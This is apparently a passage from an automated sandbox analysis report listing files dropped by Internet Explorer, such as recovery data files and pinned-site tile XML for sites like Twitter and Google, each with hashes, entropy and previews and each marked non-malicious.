SSDEEP:	96:r1ZaQS6MBSvjJ29WWMq+PzgjboxPzgjbP9A:r1ZaQS6MkvjJ29WWMq+PzuMxPzur9A
MD5:	9B1D04EE9147A3A855D0FE9C5D8BCC44
SHA1:	6A31D9B6C577A386AC53D7148B29F17A17B167F0
SHA-256:	3835355424D682701A7E7991750D5EA1A55378FD0666AAC8D1B58218CADB509D
SHA-512:	B29277EE2AA6762259694FDAF19D4D6940788F4F04E9E87DB9CE095514FDE2625910A87C53EE4299D812843ADA777220FDA5570183E13839985F1415C79720CB
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29936
Entropy (8bit):	1.8565796183355086
Encrypted:	false
SSDEEP:	192:rrZYQk6CkAjB2dWYMITmxhuJvuhuHAFSC2:r9BP7Cw09smnuZeu8m
MD5:	44FF097E81A9206446D449BB264BD74D
SHA1:	7A4CF457728B4F14CE239D1118FE47276698C041
SHA-256:	4A7AABC74AC54C470E0F496A6CFDF265EA2D2A86BA621CAEC71D437FD3A25BFB
SHA-512:	C6BE057929EFBCD3CCAD8A3DBFEF1CFB0F4C51E33EA1390CF6AFD664BE8BBFCBAEC199D2E500FE358413EA13D377C5874D10821F964D1708F4E20320EC212FEA
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{70188A23-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27356
Entropy (8bit):	1.8359877156783262
Encrypted:	false
SSDEEP:	48:IwyGcpr3GwpazG4pQzGrapbSjGQpBqGHHpc/TGUp84GzYpmzYGopsRxeFOhbGA4d:rGZhQF6XBSdjx2JWcMUue0gRe08A
MD5:	835FCF80FC7D134A75D24CE2A5063E92
SHA1:	22B4CA7EF7EF8A7CA77AD08F7C254C90DF98C0CD
SHA-256:	5544221699C42D8379C46D5E5A97BDC5F274711A7A2301B7E01BB0DFAD93B9DE
SHA-512:	24CE28F86E45CA9C0181B335E501788028FC867126EDDA140E731ACBEF1416994B9105A8C45960B79E86905C94997DE53BA69D514E5AB9F1405AC4F816B0B0A4
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{70188A25-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27380
Entropy (8bit):	1.8482972338450705
Encrypted:	false
SSDEEP:	96:rfZAQw6KBSpjx2ZWkMYW9gzFrx9gzFEkA:rfZAQw6Kkpjx2ZWkMYWizFrxizFEkA
MD5:	F359722FAFCFAAC99889FD023F7BDA47
SHA1:	E442AAE423CE982675D51C22750B52B74D613E9B
SHA-256:	7632D277A1065815146DA0697ED4326B1706198F09C592860B3C19EB6B19C408
SHA-512:	CF971215E8A83C909B4FDB1D8A6720439C93B20D8D02B35FD8170C6C2FAD1932B7E8D1C68D06F305A64E16529789F84F4EFA1420C2594E1EBF540BFE8E965021
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7E89C2AA-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27436
Entropy (8bit):	1.866633298589239
Encrypted:	false
SSDEEP:	192:rDZ8QU6ukYjd2xWLMT+knGdEoxknGdE4GdE8CA:rFV/PaUg4K919+91
MD5:	015F2E1BB2799F36F48A6BE1B5321725
SHA1:	4DCF5834F1FAA309F8083DDB594044992E9EEC5C
SHA-256:	0999788F6B980114C4B86F0EF26D1F091034988642DD789331E8440F9B17CFE6
SHA-512:	B07515BD63EFD67FA431048ADC40C6815A9BA293061EAA00F1C879331E4F164C191825F8A98EA1239B04F28DC97388E6DCAC0DE19975D7688EA456F757F2123F
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7E89C2AC-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27376
Entropy (8bit):	1.8446864140292711
Encrypted:	false
SSDEEP:	48:IwvGcpriGwpa/G4pQDGrapbShGQpBaGHHpc/TGUp8VGzYpmiYGopoobl0DpWSahw:rlZKQR6nBSbjh2JWrMr6UKPxUKyA
MD5:	209E080C3E97DC7DC630EF2F765CEEFB
SHA1:	771BBB2FC5CFE82FC8DEA149B239FD79F476EF63
SHA-256:	4D2E7F0EA03BFE510F2ED799BA9262AFCB16663CB74355C27AEC60F594A9DCFD
SHA-512:	E7B2A60E7A6123184FFD927EE638E2663253DF90B644B1444756077D89859E1958414CE596C63C30145731FFF39F47C57178894D8D93DC254FA3701E4E1AB386
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7E89C2AE-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27384
Entropy (8bit):	1.849158305129856
Encrypted:	false
SSDEEP:	192:rgZbQ86Ok9jh21WjMTyfZcRRRfZcRQc0A:rQ0HvZQMgWkvk1
MD5:	406200ED63FDD550D5F2DEB4FB53B333
SHA1:	F17CF0F7CBAD030B73C15038F145F433775B092C
SHA-256:	077C37412CF620ECD37C83B908F5019FD7E2FAEA78AD6FF4BC09151A579A1D6B
SHA-512:	CDA15EC98649471A04327788D8238F97689DE24EE305E81CAF5137474412B60F7BA24CFAC8E3E8C1DE3C3051C3E8D35648B34D9C57AE933863BF5D4EF2AD8EBB
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7E89C2B0-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27384
Entropy (8bit):	1.8499281173203803
Encrypted:	false
SSDEEP:	192:rYZ/Q46ekUjD2PWoMQy5loyY66R5loyY6zoyUA:rY4D/GaeNPbN4bNhN/
MD5:	A85EB6FED147B6E8DAD85A205FF4871F
SHA1:	BFDD09F86032600CE1B9E117482E8742A2A8D3AD
SHA-256:	85A893A10C9A0BDB79B8B4C7B2906B8D1BAEBE986574C1FA1811722F89469377
SHA-512:	6047ECED8554953E1704270B1279C675A4683A08CBCD7B2A4CF85873ACF7F36E54D5D88C87B9A3C3ADB9FBF6E4C2BE311D55850BF6E6EF3F5C0783FEC73F2F79
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{855EF565-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27428
Entropy (8bit):	1.8614766097802335
Encrypted:	false
SSDEEP:	96:rwZfQX6JBSijx2dWvM7G4x9SOuR4x9SOuA:rwZfQX6Jkijx2dWvM7G4bwR4bwA
MD5:	A166F074E3940855AF41EE4A587860DB
SHA1:	31AEC2785366052EFA82C19F3C2FC1A68877CAE0
SHA-256:	194F0248CC91A0361C989DB87A407ED3DD1643E8021FB4F6DB6674BFE2BFAFF2
SHA-512:	949F66460546D616E2038222C934D6474FF71C28CD0EBE795D03397E90D84088505CF10C83D63BA1F99DF0A8BEC89F9715B3C41DEB0CFCA6DB14BD9E0ED6B75F
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{855EF567-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27388
Entropy (8bit):	1.8492380821360137
Encrypted:	false
SSDEEP:	96:rIZ3Qj6dBS8jl2YUWdM9O/Eo5vR/Eo5FGA:rIZ3Qj6dk8jl2YUWdM9O/xBR/xKA
MD5:	5D17A7CB71C3968D4959E985BD3EA990
SHA1:	BAB2590578A60E1EB7A1A3011A87E0480B1FAC19
SHA-256:	F3F282E735E034A76129B78AB0E71D623FFF79774C9F3A6D7BF43AFDF853DB37
SHA-512:	5F058B9A2D93A6DB63BEBC976570F05ACB9A2FC9FB0DBC3201FFEF9379363745D95AF2443C7B341DE7A7D820324371322FAD2831391EB55BCB267CBF42520CA4
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{855EF569-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27380
Entropy (8bit):	1.8477355236465665
Encrypted:	false
SSDEEP:	96:rXZPQj6dBSC3jqfNM2qr2WqwMqIWIWTUYlDIxIWTUYlDxUNA:rXZPQj6dkIjR29W7MjWDTh5IxDTh5xmA
MD5:	B49B99DEFD3B220B2B6EC974CAC20CF8
SHA1:	7F910A542231E87D2C414C5010EA3A334BEDFDB6
SHA-256:	E11365D3899423C089250D1D1F3AE04A733EF572828E01367D8900A395FECC0A
SHA-512:	E86907E263BBCDFA0D6FE7C16C045A62E1E234222E33E017ADF8B66675A5FC3E44818F5998211FC40C48CA7FE8A50C8E3F5C134CBE096A8C18BA8A9325B8FB3A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{855EF56B-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27380
Entropy (8bit):	1.8453079431310633
Encrypted:	false
SSDEEP:	96:r4ZbQ66gBS3jlpN2lRWl4MlSWXlsDc16xXlsDc1w4A:r4ZbQ66gk3jd2fWOM4WVCE6xVCEXA
MD5:	E63F8AADCA0E4504AA101336156F4246
SHA1:	ACF8BA7A5AA3E6A7AC369BBF21B9B20F6EA2B4E4
SHA-256:	0458DA602AFD6323DF655829234685400E01B0EC03623BB825BDF3CF5831E59A
SHA-512:	FAF1A2ECE4F66D9B41D7F05F7703E916ECB7CA63AF2292F9EE23A2A0840CAEAB0D6932EC4D92F5451719A198BDAF8363035C780CF934E4AFF9E2626F4215757B
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{855EF56D-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27384
Entropy (8bit):	1.8442740832016502
Encrypted:	false
SSDEEP:	192:rUZDQH6pkvjV2JWUMgyyWsZSRyWsZusRA:rEMa6rM4Bfxx
MD5:	BF407EF57156681F04DAD34204686584
SHA1:	5381D47A2D8AC9335797F9D591526AD82D01A012
SHA-256:	8C462A64BD0BEDA67AAF72FEFD8652143FD287B40C9A78D2D8EAD92C315D6ED0
SHA-512:	56BA3AD2E401E8C3F18F3794258D6A454FB028B3CF15AC8F8F91547E64EBBEA01B62F817AD42FC473853C4DA641E94AE319E1B15CBD70D506039B88DF602CF63
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{855EF56F-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27364
Entropy (8bit):	1.8415715883694137
Encrypted:	false
SSDEEP:	96:rwZjQ96jBS2j52lWtMRGXDL4CC/aRXDL4CC/eQFA:rwZjQ96jk2j52lWtMRGXPCiRXPCLA
MD5:	BE1E828CBDD2CE98B7BA4154F75354B4
SHA1:	EE432B3A80C7CBA9CC2079F4947ED3B33F033D57
SHA-256:	054257F2A6D82670C0427E4F80DCC93CE27CD6C40A4F43B16E2F4336E6F4294E
SHA-512:	2A430DE413359630AA697396CFFA7F4FA88F536DD78136E269D7D1B5A2A962259043A07F46A2493B5D170594B86AF4AB5AA7426BF2BE5E9FA0975936206AFBF0
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	657
Entropy (8bit):	5.047518334250549
Encrypted:	false
SSDEEP:	12:TMHdNMNxOEBLYsLY2nWimI002EtM3MHdNMNxOEBLYsLY2nWimI00ONVbkEtMb:2d6NxOMLYsLY2SZHKd6NxOMLYsLY2SZa
MD5:	00CC69239B2D2C01D999B0A6AA9BE2C4
SHA1:	2221BB4F3E6B3D463DA2C0E4F3D5C1851F5C164A
SHA-256:	8E9A8E9E0D79DDF8237D241B53DB128E57B751DC99616039080B586335DA68B9
SHA-512:	21CBA8E70B0A9D78A1E0D31C937064BB1E1F65A7F793CF17C44C9CDD4CA42E38DC6685D35CFD9241A489C12B9C82D2F6F1CE910BB7926B67162FB8E1B6598409
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.066774984602243
Encrypted:	false
SSDEEP:	12:TMHdNMNxe2kPpR+pR2nWimI002EtM3MHdNMNxe2kPpR+pR2nWimI00ONkak6EtMb:2d6Nxr+X+X2SZHKd6Nxr+X+X2SZ72a7b
MD5:	0B9ACA9B34B79AC4C49003E6A027E2F7
SHA1:	B43F7CE1E1D5E6A92C2577DB695ACF130BCE37A3
SHA-256:	ADB7677366D0AC3D9755558479205EFD5745E8EA328364EDFE9B2D807F0C1573
SHA-512:	0B15CA32EA9890B8410AF453E4B8165B760D1D2213B01C12D9D0B2E78323A577F843F711036F591B25A05550BE20AC84C6A8C211E7619E6B4FCD21E2E3D3E94E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x1b02aec4,0x01d772ae</date><accdate>0x1b02aec4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x1b02aec4,0x01d772ae</date><accdate>0x1b02aec4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Amazon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.066399368418509
Encrypted:	false
SSDEEP:	12:TMHdNMNxvLBLYsLY2nWimI002EtM3MHdNMNxvLBLYsLY2nWimI00ONmZEtMb:2d6Nxv1LYsLY2SZHKd6Nxv1LYsLY2SZW
MD5:	81BC1736AAEF5BA4DE317ACAD70617AD
SHA1:	12BC94E81C897CEA79D2B5A67C04C653E7C1D97D
SHA-256:	EFEFF962F72CF1628A8621DBA2457A6C6B0B5DC6BA4927E9B571CA4AB9F62B42
SHA-512:	0C392C4B13D92A01A5D1B7D22029E00DD64F7A1F22A53E3B8C4F918E586CFB52DAF634BF6A1C68817D3856DF1BFB3AA68B9762FE099E0658A3F2F5D0F1A46D18
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	648
Entropy (8bit):	5.0620401805696895
Encrypted:	false
SSDEEP:	12:TMHdNMNxiBLYsLY2nWimI002EtM3MHdNMNxiBLYsLY2nWimI00ONd5EtMb:2d6NxSLYsLY2SZHKd6NxSLYsLY2SZ7n/
MD5:	77B39BB369A0207522BB30FFFA31759E
SHA1:	072ADCA6F83F927DB6427CE5E3E647A61193C4BD
SHA-256:	CBFB46E4E47B70B045E0EF3C521DF221E5806F6CFCB5480B221F73067D221B6F
SHA-512:	C84EFB6E7F6416A923CE98B35F2713C1B366970C81C4F5531159B7B61CC7511B50FEC0261CFE9775A04E4563C4858F5599CB87AA8CA975F7E173D5733DF5B01A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	657
Entropy (8bit):	5.078111165186847
Encrypted:	false
SSDEEP:	12:TMHdNMNxhGwBLYsLY2nWimI002EtM3MHdNMNxhGwBLYsLY2nWimI00ON8K075Ety:2d6NxQoLYsLY2SZHKd6NxQoLYsLY2SZ0
MD5:	2DEF05A2197DDCF39584B714EB311B5C
SHA1:	7FD3EB453FBEEE6206D32C43941AD1C1C59EAB98
SHA-256:	DCBA0B848993F26CC726CF23E0A948DC0FF761B79FC62D8811269BC58942D051
SHA-512:	212713BC10EE2C4731ADD0CE0D90B460932BB3E8EB20E8E04052EA505B55E17EFFEF3FE74B11FB8C3F5A1948F24AD528CA158EFDB5DF1E9EF4B9E99A99C15C2F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.05105181106093
Encrypted:	false
SSDEEP:	12:TMHdNMNx0nBLYsLY2nWimI002EtM3MHdNMNx0nBLYsLY2nWimI00ONxEtMb:2d6Nx0BLYsLY2SZHKd6Nx0BLYsLY2SZR
MD5:	D97965E71FDA8A66F184FA5DC7B43566
SHA1:	1B40C3F253FF3B58624D13707F785F1395536BDF
SHA-256:	4EE7CF54A1563BA73379694738BE0D45024C551E713086DC06255F3E195BA25D
SHA-512:	5EB6DA6E4D9DA129CC7724BE32FF6D516C7A201E7656EDC69B0973014F65B8C6194CD573B8653F5E38C8EFC9C2CE5BAE09708393629A4DFC5A7B1F7958E64A46
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	657
Entropy (8bit):	5.087093285908133
Encrypted:	false
SSDEEP:	12:TMHdNMNxxBLYsLY2nWimI002EtM3MHdNMNxxBLYsLY2nWimI00ON6Kq5EtMb:2d6NxLLYsLY2SZHKd6NxLLYsLY2SZ7ub
MD5:	EFF43C82C31BE001CE7125F880F74ED8
SHA1:	63EE5985240DA048534C4CCD3B748EFA63267D85
SHA-256:	205C9898DD2ED49072D8A1AADF89F6D347D37D327E7D4AF5B4423DA8E42639C5
SHA-512:	489248D1445789584867D54B3E1BF9CE65EDA03C62DF61C05A8A2FF75B538314810F5D36C72B4E54AC41AEA554CB85177E758C8075A1A3D22D73973A558355D4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	660
Entropy (8bit):	5.058802225070703
Encrypted:	false
SSDEEP:	12:TMHdNMNxcPpR+pR2nWimI002EtM3MHdNMNxcPpRsLY2nWimI00ONVEtMb:2d6NxmX+X2SZHKd6NxmXsLY2SZ71b
MD5:	7E7CC98BDE9DE77518FA74FB81BB4B2C
SHA1:	54FF79B5F223E6B01DA198262B28398A519653E1
SHA-256:	E12F9B3D6EBBC84A192463E609A92DA49406A0BC11A1068F633B4011DF4EB1E0
SHA-512:	BCB6CFEA679AF850FE39A139B74823FC56821EC03A9A75E755D033D02258D95777E8798F6B939CE624B3248E54B9B9472181F6503824D8657934B98E90AB51C1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x1b02aec4,0x01d772ae</date><accdate>0x1b02aec4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x1b02aec4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.047750232045512
Encrypted:	false
SSDEEP:	12:TMHdNMNxfnBLYsLY2nWimI002EtM3MHdNMNxfnBLYsLY2nWimI00ONe5EtMb:2d6NxJLYsLY2SZHKd6NxJLYsLY2SZ7E/
MD5:	53EDD51A918F666DB09719B704574440
SHA1:	2FFC34A5189149F035BDBCA448C2D49F17E14EDA
SHA-256:	97C385499048147A099FDFB79725289499BA8B59F29B318EB670C58B41696F97
SHA-512:	A1BEA614DC8D86F283752F7AFFDCA90E07F0BE245CF67275833E209DEF72059B5FC325DA76428D28537E3166AAAE003898A7225E52DF7DC7D6AA88D321C3729A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\dikxvqf\imagestore.dat Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	5676
Entropy (8bit):	4.142174646553492
Encrypted:	false
SSDEEP:	96:+l0aWBf4m5zDlvV2rkG4zuAZMXJFG62q7mQf:+lCBfx5zZ0IG46AaXJFG6v7mS
MD5:	D130C9D3224FC8C0CC1C0FE978F58D70
SHA1:	1D7B1657F717D1B3ECE4CD79D965DFAFCEB63F8A
